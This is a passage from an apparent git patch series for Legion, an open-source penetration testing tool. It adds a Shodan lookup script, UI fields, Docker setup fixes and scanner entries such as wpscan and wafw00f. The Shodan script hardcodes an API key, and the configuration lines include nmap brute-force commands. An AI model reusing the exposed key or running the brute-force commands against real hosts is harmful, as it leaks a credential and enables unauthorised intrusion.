exploitResults: resultCveDict['exploitId'] = exploitResults['edbid'] resultCveDict['exploit'] = exploitResults['exploit'] - resultCveDict['exploitUrl'] = "https://www.exploit-db.com/exploits/{0}".format(resultCveDict['exploit']) + resultCveDict['exploitUrl'] = "https://www.exploit-db.com/exploits/{0}".format(resultCveDict['exploitId']) resultCvesProcessed.append(resultCveDict) resultCpeDetails['cves'] = resultCvesProcessed resultsDict[resultCpeData[3]] = resultCpeDetails diff --git a/scripts/python/__init__.py b/scripts/python/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/scripts/python/dummy.py b/scripts/python/dummy.py new file mode 100644 index 00000000..3548452c --- /dev/null +++ b/scripts/python/dummy.py @@ -0,0 +1,5 @@ +#!/usr/bin/python3 + +import sys +print('Dummy!') +sys.exit(1) diff --git a/scripts/python/pyShodan.py b/scripts/python/pyShodan.py new file mode 100644 index 00000000..108bc32f --- /dev/null +++ b/scripts/python/pyShodan.py @@ -0,0 +1,31 @@ +from pyShodan import PyShodan + +class PyShodanScript(): + def __init__(self): + self.dbHost = None + self.session = None + + def setDbHost(self, dbHost): + self.dbHost = dbHost + + def setSession(self, session): + self.session = session + + def run(self): + print('Running PyShodan Class') + if self.dbHost: + pyShodanObj = PyShodan() + pyShodanObj.apiKey = "SNYEkE0gdwNu9BRURVDjWPXePCquXqht" + pyShodanObj.createSession() + pyShodanResults = pyShodanObj.searchIp(self.dbHost.ipv4, allData = True) + if pyShodanResults: + self.dbHost.latitude = pyShodanResults.get('latitude', 'unknown') + self.dbHost.longitude = pyShodanResults.get('longitude', 'unknown') + self.dbHost.asn = pyShodanResults.get('asn', 'unknown') + self.dbHost.ips = pyShodanResults.get('isp', 'unknown') + self.dbHost.city = pyShodanResults.get('city', 'unknown') + self.dbHost.countryCode = pyShodanResults.get('country_code', 'unknown') + self.session.add(self.dbHost) + +if __name__ == "__main__": + pass diff --git a/ui/dialogs.py b/ui/dialogs.py index 1117596e..5149392b 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -568,6 +568,22 @@ def setupLayout(self): self.MacLayout.addWidget(self.MacLabel) self.MacLayout.addWidget(self.MacText) self.MacLayout.addStretch() + + self.AsnLabel = QtWidgets.QLabel() + self.AsnText = QtWidgets.QLabel() + self.AsnLayout = QtWidgets.QHBoxLayout() + self.AsnLayout.addSpacing(20) + self.AsnLayout.addWidget(self.AsnLabel) + self.AsnLayout.addWidget(self.AsnText) + self.AsnLayout.addStretch() + + self.IspLabel = QtWidgets.QLabel() + self.IspText = QtWidgets.QLabel() + self.IspLayout = QtWidgets.QHBoxLayout() + self.IspLayout.addSpacing(20) + self.IspLayout.addWidget(self.IspLabel) + self.IspLayout.addWidget(self.IspText) + self.IspLayout.addStretch() self.dummyLabel = QtWidgets.QLabel() self.dummyText = QtWidgets.QLabel() @@ -608,6 +624,8 @@ def setupLayout(self): self.IP4Label.setText('IPv4:') self.IP6Label.setText('IPv6:') self.MacLabel.setText('MAC:') + self.AsnLabel.setText('ASN:') + self.IspLabel.setText('ISP:') self.OSLabel.setText('Operating System') self.OSLabel.setFont(font) self.OSNameLabel.setText('Name:') @@ -628,6 +646,8 @@ def setupLayout(self): self.vlayout_2.addLayout(self.IP4Layout) self.vlayout_2.addLayout(self.IP6Layout) self.vlayout_2.addLayout(self.MacLayout) + self.vlayout_2.addLayout(self.AsnLayout) + self.vlayout_2.addLayout(self.IspLayout) self.vlayout_2.addLayout(self.dummyLayout) self.hlayout_1.addLayout(self.vlayout_1) @@ -657,5 +677,7 @@ def updateFields(self, **kwargs): self.IP4Text.setText(kwargs.get('ipv4') or 'unknown') self.IP6Text.setText(kwargs.get('ipv6') or 'unknown') self.MacText.setText(kwargs.get('macaddr') or 'unknown') + self.AsnText.setText(kwargs.get('asn') or 'unknown') + self.IspText.setText(kwargs.get('isp') or 'unknown') self.OSNameText.setText(kwargs.get('osMatch') or 'unknown') self.OSAccuracyText.setText(kwargs.get('osAccuracy') or 'unknown') diff --git a/ui/view.py b/ui/view.py index 25dfbd69..2929f34a 100644 --- a/ui/view.py +++ b/ui/view.py @@ -175,8 +175,8 @@ def startConnections(self): # signal ini def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Padding"] - setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16]) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) @@ -184,7 +184,7 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - headers = ["Id", "Severity", "Product", "Version", "URL", "Source", "Exploit ID", "Exploit", "Exploit URL"] + headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] setTableProperties(self.ui.CvesTableView, len(headers)) self.ui.CvesTableView.setSortingEnabled(True) @@ -931,16 +931,17 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Padding"] + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + print(str(self.controller.getHostsFromDB(self.filters))) self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore - for i in [0,2,4,5,6,7,8,9,10,11,12,13,14,15,16]: # hide some columns + for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: # hide some columns self.ui.HostsTableView.setColumnHidden(i, True) - self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) + self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) self.HostsTableModel.sort(3, Qt.DescendingOrder) ips = [] # ensure that there is always something selected @@ -991,7 +992,7 @@ def updateToolsTableView(self): self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore # Hides columns we don't want to see - for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]: # hide some columns + for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns self.ui.ToolsTableView.setColumnHidden(i, True) tools = [] # ensure that there is always something selected @@ -1060,7 +1061,7 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] @@ -1088,7 +1089,7 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.update() def updateCvesByHostView(self, hostIP): - headers = ["ID", "CVSS Score", "Product", "Version", "URL", "Source", "Exploit ID", "Exploit", "Exploit URL"] + headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self, cves, headers) @@ -1550,6 +1551,13 @@ def findFinishedBruteTab(self, pid): self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) return + def findFinishedServiceTab(self, pid): + for i in range(0, self.ui.ServicesTabWidget.count()): + if str(self.ui.ServicesTabWidget.widget(i).pid) == pid: + #self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) + print("Close Tab: {0}".format(str(i))) + return + def blinkBruteTab(self, bWidget): self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor('red')) for i in range(0, self.ui.BruteTabWidget.count()): From adfb30586e8d152fcf3afa96868f01d286601a19 Mon Sep 17 00:00:00 2001 From: Joseph Kvedaras Date: Tue, 14 May 2019 09:22:28 -0400 Subject: [PATCH 234/450] Adding pyShodan to the list of required python packages --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index dbedc853..62f85295 100644 --- a/requirements.txt +++ b/requirements.txt @@ -17,3 +17,4 @@ win_inet_pton pyExploitDb>=0.1.8 GitPython pandas +pyShodan From 671c4f3a9b44bd2621e91c7a780f5c55ef6e805e Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 14:09:36 -0500 Subject: [PATCH 235/450] Docker fixes, Dep fixes --- .gitignore | 2 ++ controller/controller.py | 4 ++-- deps/installDeps.sh | 10 +++++----- docker/Dockerfile | 3 ++- docker/runIt.sh | 16 ++++++++++++++-- requirements.txt | 1 + 6 files changed, 26 insertions(+), 10 deletions(-) diff --git a/.gitignore b/.gitignore index a82c559d..8a52a86d 100644 --- a/.gitignore +++ b/.gitignore @@ -120,3 +120,5 @@ scripts/smtp-user-enum.pl scripts/snmpcheck.rb scripts/CloudFail + +docker/runLocal.sh diff --git a/controller/controller.py b/controller/controller.py index b136419a..02c37e1c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1557176518' + self.build = '1559588919' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '05/06/2019' + self.update = '06/03/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/deps/installDeps.sh b/deps/installDeps.sh index e63259fd..445875e3 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -11,8 +11,8 @@ apt-get update -m echo "Installing deps..." DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip ruby perl urlscan git xsltproc -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" dnsmap -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" wapiti -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" python-impacket -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" whatweb -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" medusa +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install whatweb +DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install medusa diff --git a/docker/Dockerfile b/docker/Dockerfile index 4db809c8..7d324577 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -4,6 +4,7 @@ RUN apt-get update && apt-get install -y \ nmap \ hydra \ git -RUN git clone https://github.com/GoVanguard/legion.git; cd legion; chmod +x ./startLegion.sh; chmod +x ./deps -R; ./deps/Ubuntu-18.sh; mkdir /legion/tmp +RUN git clone https://github.com/GoVanguard/legion.git +RUN cd legion; chmod +x ./startLegion.sh; mkdir /legion/tmp WORKDIR /legion CMD ["python3", "legion.py"] diff --git a/docker/runIt.sh b/docker/runIt.sh index a7a2d141..fe0a5953 100644 --- a/docker/runIt.sh +++ b/docker/runIt.sh @@ -1,6 +1,18 @@ #!/bin/bash + +if [[ -z $1 ]] +then + X11HOST=localhost +else + X11HOST=$1 +fi + +export DISPLAY=$X11HOST:0.0 docker pull gvit/legion XSOCK=/tmp/.X11-unix XAUTH=/tmp/.docker.xauth -xauth nlist :0 | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - -docker run -ti -v $XSOCK:$XSOCK -v $XAUTH:$XAUTH -e XAUTHORITY=$XAUTH legion +rm /tmp/.docker.xauth* -f +touch $XAUTH +xauth add $DISPLAY - `mcookie` +xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - +docker run -ti -v $XSOCK -v $XAUTH -e XAUTHORITY=$XAUTH -e DISPLAY=$DISPLAY gvit/legion diff --git a/requirements.txt b/requirements.txt index dbedc853..bb74bbe0 100644 --- a/requirements.txt +++ b/requirements.txt @@ -15,5 +15,6 @@ colorama termcolor win_inet_pton pyExploitDb>=0.1.8 +pyShodan GitPython pandas From 94e35ff91755180e981cb143b4cd4295fdc5aacf Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 14:36:59 -0500 Subject: [PATCH 236/450] More dep fixes --- controller/controller.py | 2 +- docker/Dockerfile | 2 ++ startLegion.sh | 13 +++++++------ 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 02c37e1c..f7312a7b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1559588919' + self.build = '1559590605' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/docker/Dockerfile b/docker/Dockerfile index 7d324577..7eb6dc62 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,6 +1,8 @@ FROM ubuntu:18.04 ENV DISPLAY :0 RUN apt-get update && apt-get install -y \ + python3 \ + python3-pip \ nmap \ hydra \ git diff --git a/startLegion.sh b/startLegion.sh index 24c955bf..ed1fc405 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -3,11 +3,8 @@ echo "Strap yourself in, we're starting Legion..." # Set everything we might need as executable -chmod a+x ./deps/*.sh -chmod a+x ./scripts/*.sh -chmod a+x ./scripts/*.py -chmod a+x ./scripts/*.pl -chmod a+x ./scripts/*.rb +chmod a+x -R ./deps/* +chmod a+x -R ./scripts/* # Determine and set the Python and Pip paths source ./deps/detectPython.sh @@ -34,4 +31,8 @@ fi export QT_XCB_NATIVE_PAINTING=0 export QT_AUTO_SCREEN_SCALE_FACTOR=1.5 -${PYTHON3BIN} legion.py + +if [[ $1 != 'setup' ]] +then + ${PYTHON3BIN} legion.py +fi From 010c898754ba12e6f169c77426bd922fb450c8bb Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 15:08:16 -0500 Subject: [PATCH 237/450] Fix explout-db prime call --- controller/controller.py | 2 +- deps/installPythonLibs.sh | 2 +- docker/Dockerfile | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index f7312a7b..a17db493 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1559590605' + self.build = '1559592449' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 059c7afe..dad2654e 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -6,4 +6,4 @@ source ./deps/detectPython.sh ${PIP3BIN} install -r requirements.txt --upgrade ${PIP3BIN} install service-identity --upgrade -${PIP3BIN} ./deps/primeExploitDb.py +${PYTHON3BIN} ./deps/primeExploitDb.py diff --git a/docker/Dockerfile b/docker/Dockerfile index 7eb6dc62..799cf5e6 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -7,6 +7,6 @@ RUN apt-get update && apt-get install -y \ hydra \ git RUN git clone https://github.com/GoVanguard/legion.git -RUN cd legion; chmod +x ./startLegion.sh; mkdir /legion/tmp +RUN cd legion; chmod +x ./startLegion.sh setup; mkdir /legion/tmp WORKDIR /legion CMD ["python3", "legion.py"] From 53791d8092ee4f1aa336599e49361e9a08d160e6 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 15:30:14 -0500 Subject: [PATCH 238/450] Switching to env for py3 --- controller/controller.py | 2 +- deps/primeExploitDb.py | 2 ++ docker/Dockerfile | 2 +- startLegion.sh | 3 ++- 4 files changed, 6 insertions(+), 3 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index a17db493..0df7017d 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1559592449' + self.build = '1559593796' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/primeExploitDb.py b/deps/primeExploitDb.py index 202289af..f308bb22 100644 --- a/deps/primeExploitDb.py +++ b/deps/primeExploitDb.py @@ -1,3 +1,5 @@ +#!/usr/bin/env python3 + from pyExploitDb import PyExploitDb def prime(): diff --git a/docker/Dockerfile b/docker/Dockerfile index 799cf5e6..ae904555 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -7,6 +7,6 @@ RUN apt-get update && apt-get install -y \ hydra \ git RUN git clone https://github.com/GoVanguard/legion.git -RUN cd legion; chmod +x ./startLegion.sh setup; mkdir /legion/tmp +RUN cd legion; chmod +x ./startLegion.sh; chmod +x ./deps/ -R; chmod +x ./scripts/ -R; mkdir /legion/tmp;./startLegion.sh setup WORKDIR /legion CMD ["python3", "legion.py"] diff --git a/startLegion.sh b/startLegion.sh index ed1fc405..39355cb6 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -34,5 +34,6 @@ export QT_AUTO_SCREEN_SCALE_FACTOR=1.5 if [[ $1 != 'setup' ]] then - ${PYTHON3BIN} legion.py +# ${PYTHON3BIN} legion.py + /usr/bin/env python3 legion.py fi From 6708713fa9f58e15adb31e380b5f4eaa4d1d7050 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 17:55:38 -0500 Subject: [PATCH 239/450] Fix pyShodan edge case --- controller/controller.py | 2 +- docker/Dockerfile | 9 ++++++++- requirements.txt | 2 +- scripts/python/pyShodan.py | 17 +++++++++-------- 4 files changed, 19 insertions(+), 11 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 0df7017d..44ca2710 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1559593796' + self.build = '1559602528' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/docker/Dockerfile b/docker/Dockerfile index ae904555..1ac810de 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,12 +1,19 @@ FROM ubuntu:18.04 ENV DISPLAY :0 RUN apt-get update && apt-get install -y \ + python \ + python-pip \ python3 \ python3-pip \ nmap \ hydra \ git RUN git clone https://github.com/GoVanguard/legion.git -RUN cd legion; chmod +x ./startLegion.sh; chmod +x ./deps/ -R; chmod +x ./scripts/ -R; mkdir /legion/tmp;./startLegion.sh setup +RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp +RUN cd legion && pip3 install -r requirements.txt --upgrade +RUN pip3 install service_identity --upgrade +RUN cd legion && chmod a+x ./deps/primeExploitDb.py && ./deps/primeExploitDb.py +RUN cd legion && ./deps/Ubuntu-18.sh +RUN cd legion && ./startLegion.sh setup WORKDIR /legion CMD ["python3", "legion.py"] diff --git a/requirements.txt b/requirements.txt index bb74bbe0..cc6649fe 100644 --- a/requirements.txt +++ b/requirements.txt @@ -15,6 +15,6 @@ colorama termcolor win_inet_pton pyExploitDb>=0.1.8 -pyShodan +pyShodan>=0.2.0 GitPython pandas diff --git a/scripts/python/pyShodan.py b/scripts/python/pyShodan.py index 108bc32f..6e389de6 100644 --- a/scripts/python/pyShodan.py +++ b/scripts/python/pyShodan.py @@ -18,14 +18,15 @@ def run(self): pyShodanObj.apiKey = "SNYEkE0gdwNu9BRURVDjWPXePCquXqht" pyShodanObj.createSession() pyShodanResults = pyShodanObj.searchIp(self.dbHost.ipv4, allData = True) - if pyShodanResults: - self.dbHost.latitude = pyShodanResults.get('latitude', 'unknown') - self.dbHost.longitude = pyShodanResults.get('longitude', 'unknown') - self.dbHost.asn = pyShodanResults.get('asn', 'unknown') - self.dbHost.ips = pyShodanResults.get('isp', 'unknown') - self.dbHost.city = pyShodanResults.get('city', 'unknown') - self.dbHost.countryCode = pyShodanResults.get('country_code', 'unknown') - self.session.add(self.dbHost) + if type(pyShodanResults) == type(dict()): + if pyShodanResults: + self.dbHost.latitude = pyShodanResults.get('latitude', 'unknown') + self.dbHost.longitude = pyShodanResults.get('longitude', 'unknown') + self.dbHost.asn = pyShodanResults.get('asn', 'unknown') + self.dbHost.ips = pyShodanResults.get('isp', 'unknown') + self.dbHost.city = pyShodanResults.get('city', 'unknown') + self.dbHost.countryCode = pyShodanResults.get('country_code', 'unknown') + self.session.add(self.dbHost) if __name__ == "__main__": pass From 48a29c63ed409866e8473dbf3383f7b43a97b98d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 18:06:27 -0500 Subject: [PATCH 240/450] Bump pyExploitDb version req --- docker/buildIt.sh | 2 +- requirements.txt | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/docker/buildIt.sh b/docker/buildIt.sh index d3af2230..2a7bab03 100644 --- a/docker/buildIt.sh +++ b/docker/buildIt.sh @@ -1,2 +1,2 @@ #!/bin/bash -docker build -t legion . +docker build -t legion . --no-cache diff --git a/requirements.txt b/requirements.txt index cc6649fe..69b6af6c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,7 +14,7 @@ pyfiglet colorama termcolor win_inet_pton -pyExploitDb>=0.1.8 -pyShodan>=0.2.0 +pyExploitDb>=0.2.0 +pyShodan GitPython pandas From 2d010e247d4a49ef3d59bcba22d5ad2ef3cfbc9f Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 3 Jun 2019 18:32:30 -0500 Subject: [PATCH 241/450] Fix script dep installer permission --- controller/controller.py | 2 +- deps/detectScripts.sh | 8 ++------ 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 44ca2710..1bbb29c8 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1559602528' + self.build = '1559604733' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index eddbe878..667f4260 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -68,12 +68,8 @@ fi if [ ! -f ".initialized" ] then - scripts/installDeps.sh -fi - -if [ ! -f ".initialized" ] - then - scripts/installDeps.sh + chmod a+x scripts/installDeps.sh + ./scripts/installDeps.sh fi cd ${curPath} From bb73e8be7429c5e46b15a871061bea1e087b48ca Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Jun 2019 10:52:05 -0400 Subject: [PATCH 242/450] Added wafw00f --- legion.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/legion.conf b/legion.conf index bff5e3b1..3eab07e9 100644 --- a/legion.conf +++ b/legion.conf @@ -277,6 +277,7 @@ vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --s vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 [PortTerminalActions] From 4a0994abe652a62e44d7d8947ea6bc030b27318b Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Jun 2019 11:48:52 -0400 Subject: [PATCH 243/450] Added wpscan --- legion.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/legion.conf b/legion.conf index 3eab07e9..03972b5d 100644 --- a/legion.conf +++ b/legion.conf @@ -278,6 +278,7 @@ vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --scri webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" +wpscan=Run wpscan, "wpscan --url [IP]:[PORT], "http,https" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 [PortTerminalActions] From 8bddd523775ff87bbe9235cac6737c3c65d864fe Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 11:14:24 -0500 Subject: [PATCH 244/450] Update ignored --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 8a52a86d..eca49e20 100644 --- a/.gitignore +++ b/.gitignore @@ -122,3 +122,5 @@ scripts/snmpcheck.rb scripts/CloudFail docker/runLocal.sh +docker/cleanupUntagged.sh +docker/cleanupExited.sh From c7c922eaa274b25ecfea1bac9b5a3654d0dfb43b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 11:25:46 -0500 Subject: [PATCH 245/450] Update readme --- README.md | 52 +++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 43 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 0f37e695..b850c783 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,50 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-exten ## INSTALLATION It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. +### DOCKER METHOD +------ +Assumes Docker and Xauthority are installed. + +Linux with local X11: + - Within Terminal: +``` +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +sudo chmod +x runIt.sh +sudo ./runIt.sh +``` + +Linux with Remote X11: + - Replace X.X.X.X with the IP of the remote running X11. + - Within Terminal: +``` +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +sudo chmod +x runIt.sh +sudo ./runIt.sh X.X.X.X +``` + +Windows under WSL using Xming: + - Replace X.X.X.X with the IP with which Xming has registered itself. + - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" + - Within Terminal: +``` + +git clone https://github.com/GoVanguard/legion.git +cd legion/docker +sudo chmod +x runIt.sh +sudo ./runIt.sh X.X.X.X +``` + +Windows using Xming without WSL: + - Why? Don't do this. :) + +OSX using Glas: + - Not yet in runIt.sh script. + - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ + ### TRADITIONAL METHOD +* Please use the 